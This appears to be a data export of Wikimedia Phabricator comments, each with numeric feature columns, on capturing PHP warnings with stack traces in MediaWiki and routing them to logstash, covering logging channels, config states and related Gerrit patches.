* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
 * `exception`: Enabled (to mwlog and to logstash)
 * `exception-json`: Disabled (to mwlog only)
 * `error`: Enabled (to mwlog and to logstash)
 * `error-json`: Disabled
* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
 * Augments `channel=exception`
 * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
 * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
* [x] Fix de-duplication and message counting by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895",,,1505203383,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,219,,0.75,0.0,0.0,0.0,0.25,4.5,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.75,5.25,0.25,1.25,0.0,0.0,0.0,0.75,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,0.0,0.0,0.0,0.75,0.25,0.0,0.0,2.75,0.0,0.0,0.0,0.0,0.0,16.75,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.25,14.75,0.0,2.5,1.25,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,5.25,6.0,0.75,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.25,3.8408390133073675,0.5463729308666017,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <URL
 * CODE: PSR-3 structured message with exception context via CODE (includes trace)
 * CODE: JSON-formatted structured data with exception context via CODE  (includes trace)
 * CODE: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * CODE (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <URL
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled (to mwlog only)
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled
* Logstash config - <URL
 * Augments CODE
 * Converts any CODE to CODE (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * CODE - All non-suppressed error messages and fatal errors (no trace)
 * CODE - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * CODE - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under CODE – Pending review: GERRIT_URL
* [ ] Remove unused CODE conversion filter from CODE in CODE
* [x] Fix de-duplication and message counting by ensuring CODE does not include the exception_id. – Pending review: GERRIT_URL"
921765,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
 * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
 * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
 * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
 * `exception`: Enabled (to mwlog and to logstash)
 * `exception-json`: Disabled (to mwlog only)
 * `error`: Enabled (to mwlog and to logstash)
 * `error-json`: Disabled
* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
 * Augments `channel=exception`
 * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
 * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
* [ ] Fix de-duplication and message counting by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895",,,1504129256,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,0.75,0.0,0.0,0.0,0.25,4.25,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.75,5.75,0.25,1.25,0.0,0.0,0.0,0.75,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,0.0,0.0,0.0,0.75,0.25,0.0,0.0,2.75,0.0,0.0,0.0,0.0,0.0,16.75,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.25,14.75,0.0,2.5,1.25,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,5.75,6.0,0.75,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.75,3.8507383966244726,0.5449529373580007,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <URL
 * CODE: PSR-3 structured message with exception context via CODE (includes trace)
 * CODE: JSON-formatted structured data with exception context via CODE  (includes trace)
 * CODE: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * CODE (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <URL
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled (to mwlog only)
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled
* Logstash config - <URL
 * Augments CODE
 * Converts any CODE to CODE (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * CODE - All non-suppressed error messages and fatal errors (no trace)
 * CODE - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * CODE - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under CODE – Pending review: GERRIT_URL
* [ ] Remove unused CODE conversion filter from CODE in CODE
* [ ] Fix de-duplication and message counting by ensuring CODE does not include the exception_id. – Pending review: GERRIT_URL"
921764,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
 * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
 * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
 * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
 * `exception`: Enabled (to mwlog and to logstash)
 * `exception-json`: Disabled (to mwlog only)
 * `error`: Enabled (to mwlog and to logstash)
 * `error-json`: Disabled
* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
 * Augments `channel=exception`
 * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
 * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
* [ ] Fix de-duplication and message counting possible by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895",,,1504129247,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,0.75,0.0,0.0,0.0,0.25,4.5,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.75,5.75,0.25,1.25,0.0,0.0,0.0,0.75,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,0.0,0.0,0.0,0.75,0.25,0.0,0.0,2.75,0.0,0.0,0.0,0.0,0.0,16.75,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.25,14.75,0.0,2.5,1.25,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,5.75,6.0,0.75,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.75,3.8632749107432653,0.5463729308666017,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <URL
 * CODE: PSR-3 structured message with exception context via CODE (includes trace)
 * CODE: JSON-formatted structured data with exception context via CODE  (includes trace)
 * CODE: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * CODE (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <URL
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled (to mwlog only)
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled
* Logstash config - <URL
 * Augments CODE
 * Converts any CODE to CODE (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * CODE - All non-suppressed error messages and fatal errors (no trace)
 * CODE - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * CODE - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under CODE – Pending review: GERRIT_URL
* [ ] Remove unused CODE conversion filter from CODE in CODE
* [ ] Fix de-duplication and message counting possible by ensuring CODE does not include the exception_id. – Pending review: GERRIT_URL"
921750,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
 * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
 * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
 * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
 * `exception`: Enabled (to mwlog and to logstash)
 * `exception-json`: Disabled (to mwlog only)
 * `error`: Enabled (to mwlog and to logstash)
 * `error-json`: Disabled
* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
 * Augments `channel=exception`
 * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
 * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
* [ ] Fix de-duplication and message counting possible by ensuring `normalized_message` does not include the exception_id.",,,1504128813,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,0.75,0.0,0.0,0.0,0.25,4.5,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.75,5.75,0.25,1.25,0.0,0.0,0.0,0.75,0.5,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.25,0.25,0.0,0.0,0.0,0.0,0.75,0.25,0.0,0.0,2.75,0.0,0.0,0.0,0.0,0.0,16.75,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.5,0.25,14.25,0.0,2.5,1.25,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,5.75,5.75,0.75,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.25,0.0,0.0,1.75,3.8453629703629706,0.5552364302364303,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <URL
 * CODE: PSR-3 structured message with exception context via CODE (includes trace)
 * CODE: JSON-formatted structured data with exception context via CODE  (includes trace)
 * CODE: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * CODE (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <URL
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled (to mwlog only)
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled
* Logstash config - <URL
 * Augments CODE
 * Converts any CODE to CODE (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * CODE - All non-suppressed error messages and fatal errors (no trace)
 * CODE - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * CODE - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under CODE – Pending review: GERRIT_URL
* [ ] Remove unused CODE conversion filter from CODE in CODE
* [ ] Fix de-duplication and message counting possible by ensuring CODE does not include the exception_id."
921746,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
 * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
 * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
 * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
 * `exception`: Enabled (to mwlog and to logstash)
 * `exception-json`: Disabled (to mwlog only)
 * `error`: Enabled (to mwlog and to logstash)
 * `error-json`: Disabled
* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
 * Augments `channel=exception`
 * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
 * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`",,,1504128659,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,1.0,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,6.333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,17.333333333333332,0.0,2.6666666666666665,1.3333333333333333,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,0.0,0.0,0.6666666666666666,6.333333333333333,6.333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.6666666666666667,3.8082402634593358,0.4914805269186712,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <URL
 * CODE: PSR-3 structured message with exception context via CODE (includes trace)
 * CODE: JSON-formatted structured data with exception context via CODE  (includes trace)
 * CODE: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * CODE (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <URL
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled (to mwlog only)
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled
* Logstash config - <URL
 * Augments CODE
 * Converts any CODE to CODE (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * CODE - All non-suppressed error messages and fatal errors (no trace)
 * CODE - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * CODE - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Clean up or optimisation:
* [ ] Avoid duplicate logging under CODE – Pending review: GERRIT_URL
* [ ] Remove unused CODE conversion filter from CODE in CODE"
813789,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Since 9eafbebdd882a562171fd0e46dcd5a9ec1e55cf8 has been deployed, some new error logs are surfacing \O/  An example is {T158770}  :-}
",,,1487774255,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.130434782608695,0.9565217391304348,"Since 9eafbebdd882a562171fd0e46dcd5a9ec1e55cf8 has been deployed, some new error logs are surfacing \O/  An example is {T158770}  :-}
"
813541,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"The `error` channel (with severity=ERROR or maybe WARNING) should be added added to fatalmonitor on logstash, I suppose?",,,1487734726,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9583333333333334,"The CODE channel (with severity=ERROR or maybe WARNING) should be added added to fatalmonitor on logstash, I suppose?"
813504,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,[[https://logstash.wikimedia.org/app/kibana#/doc/logstash-*/logstash-2017.02.22/mediawiki/?id=AVpjaHVDlL3ktRIGM6p7|Example error]]. See T136849#3045285 for comments on the format. (Except `exception.trace` seems different here. Or just has random errors in different ways than for other exceptions.),,,1487726805,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.8055555555555556,[[URL error]]. See T136849#3045285 for comments on the format. (Except CODE seems different here. Or just has random errors in different ways than for other exceptions.)
812743,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338820 merged by jenkins-bot:
Route PHP warnings from the handler into udp2log

[[https://gerrit.wikimedia.org/r/338820]]",,,1487639339,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.9130434782608696,0.9130434782608695,"Change 338820 merged by jenkins-bot:
Route PHP warnings from the handler into udp2log

[[GERRIT_URL]]"
812739,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338911 had a related patch set uploaded (by Gergő Tisza):
Make it possible to not propagate errors to PHP

[[https://gerrit.wikimedia.org/r/338911]]
",,,1487638133,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.0,10.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7,0.8666666666666667,"Change 338911 had a related patch set uploaded (by Gergő Tisza):
Make it possible to not propagate errors to PHP

[[GERRIT_URL]]
"
812728,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338901 had a related patch set uploaded (by Gergő Tisza):
Do not mix suppressed errors with non-suppressed ones

[[https://gerrit.wikimedia.org/r/338901]]
",,,1487633673,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.806451612903226,0.8709677419354839,"Change 338901 had a related patch set uploaded (by Gergő Tisza):
Do not mix suppressed errors with non-suppressed ones

[[GERRIT_URL]]
"
812725,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338821 merged by jenkins-bot:
MWExceptionHandler::handleError: Set log severity based on error level

[[https://gerrit.wikimedia.org/r/338821]]",,,1487632148,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.666666666666667,0.875,"Change 338821 merged by jenkins-bot:
MWExceptionHandler::handleError: Set log severity based on error level

[[GERRIT_URL]]"
812694,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041561, @Tgr wrote:
> The point is that the handler should not return false on errors which PHP would only log but not abort on, so that warnings don't get duplicated.

Ok, I'm finally getting what you are working towards. Thanks for sticking with me. :) It would need some config flag as you mentioned in T45086#3041550 since the default behavior of the logging system is discard everything.",,,1487620029,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,15.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,2.0,0.0,7.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,15.0,4.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,4.3478260869565215,0.8913043478260869,"QUOTE
QUOTE

Ok, I'm finally getting what you are working towards. Thanks for sticking with me. :) It would need some config flag as you mentioned in T45086#3041550 since the default behavior of the logging system is discard everything."
812693,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041550, @Tgr wrote:
>>>! In T45086#3041541, @bd808 wrote:
>> By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request.
> 
> Yes, and it's a trivial decision (assuming we want to replicate the existing behavior): just abort on `*_ERROR`, unless PHP error reporting is turned off. So would there be any disadvantage to doing that? We could abort via exceptions which is more useful (HHVM can log the trace when the script aborts with an error but normal PHP can't), plus generally have better logging, at the cost of higher log volume / manual setup needed. It should probably be configurable and off by default but for WMF servers (and anyone else who cares enough about error logging to fine-tune it) it seems like a win.

